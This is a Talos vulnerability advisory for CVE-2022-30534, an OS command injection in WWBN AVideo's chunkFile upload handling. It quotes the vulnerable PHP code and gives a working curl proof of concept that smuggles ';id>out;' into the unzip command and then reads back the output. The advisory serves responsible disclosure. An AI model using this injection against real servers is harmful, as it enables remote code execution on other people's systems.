CVE-2022-30534
An OS command injection vulnerability exists in the aVideoEncoder chunkfile functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
WWBN AVideo 11.6
WWBN AVideo dev master commit 3f7c0364
AVideo - https://github.com/WWBN/AVideo
9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
AVideo is a web application, mostly written in PHP, that can be used to create an audio/video sharing website. It allows users to import videos from various sources, encode and share them in various ways. Users can sign up to the website in order to share videos, while viewers have anonymous access to the publicly-available contents. The platform provides plugins for features like live streaming, skins, YouTube uploads and more.
The objects/aVideoEncoder.json.php
file can be used to add new videos. This functionality does not need special configuration to be used. However, the user performing the request needs permission to upload videos.
When adding a new video, a downloadURL
can be specified, so that AVideo fetches the url content and adds it as a video. Alternatively, a user can supply a zip file:
...
if (empty($_FILES['video']['tmp_name']) && !empty($_POST['chunkFile'])) {
$_FILES['video']['tmp_name'] = $_POST['chunkFile']; // [1]
}
// get video file from encoder
if (!empty($_FILES['video']['tmp_name'])) {
$resolution = '';
if (!empty($_POST['resolution'])) {
$resolution = "_{$_POST['resolution']}";
}
$filename = "{$videoFileName}{$resolution}.{$_POST['format']}"; // [2]
$fsize = filesize($_FILES['video']['tmp_name']);
_error_log("aVideoEncoder.json: receiving video upload to {$filename} filesize=" . ($fsize) . " (" . humanFileSize($fsize) . ")" . json_encode($_FILES));
$destinationFile = decideMoveUploadedToVideos($_FILES['video']['tmp_name'], $filename); // [3]
...
At [1], the chunkFile
parameter is read, then it is used at [3] when calling decideMoveUploadedToVideos
. Note that, unless the video already exists (specified via the videos_id
parameter), an attacker will need to specify the resolution
parameter at [2]. Otherwise decideMoveUploadedToVideos
will return early at [4].
function decideMoveUploadedToVideos($tmp_name, $filename, $type = "video") {
if ($filename == '.zip') {
return false; // [4]
}
...
if ($type !== "zip" && $path_info['extension'] === 'zip') {
_error_log("decideMoveUploadedToVideos: ZIp file {$filename}");
$paths = Video::getPaths($path_info['filename']);
$dir = $paths['path'];
unzipDirectory($tmp_name, $dir); // unzip it // [5]
At [5] unzipDirectory
is called:
function unzipDirectory($filename, $destination) {
global $global;
// Wait a couple of seconds to make sure the file has completed transfer
sleep(2);
ini_set('memory_limit', '-1');
ini_set('max_execution_time', 7200); // 2 hours
$cmd = "unzip {$filename} -d {$destination}" . " 2>&1";
_error_log("unzipDirectory: {$cmd}");
exec($cmd, $output, $return_val);
This function builds a command to unzip $filename
. However, $filename
is fully under attacker control, leading to arbitrary command injection.
This proof-of-concept executes id
and stores it in out
:
$ curl -k $'https://192.168.1.200/objects/aVideoEncoder.json.php' \
-H 'Cookie: 84b11d010cced71edffee7aa62c4eda0=ia8sm01gdn8kar80bp0q5bsp9l' \
--data-raw $'resolution=1&format=zip&chunkFile=;id>out;'
Retrieve the output of the id
command:
$ curl -k 'https://192.168.1.200/objects/out'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Vendor confirms issues fixed on July 7th 2022
2022-06-29 - Initial Vendor Contact
2022-07-05 - Vendor Disclosure
2022-07-07 - Vendor Patch Release
2022-08-16 - Public Release
Discovered by Claudio Bozzato of Cisco Talos.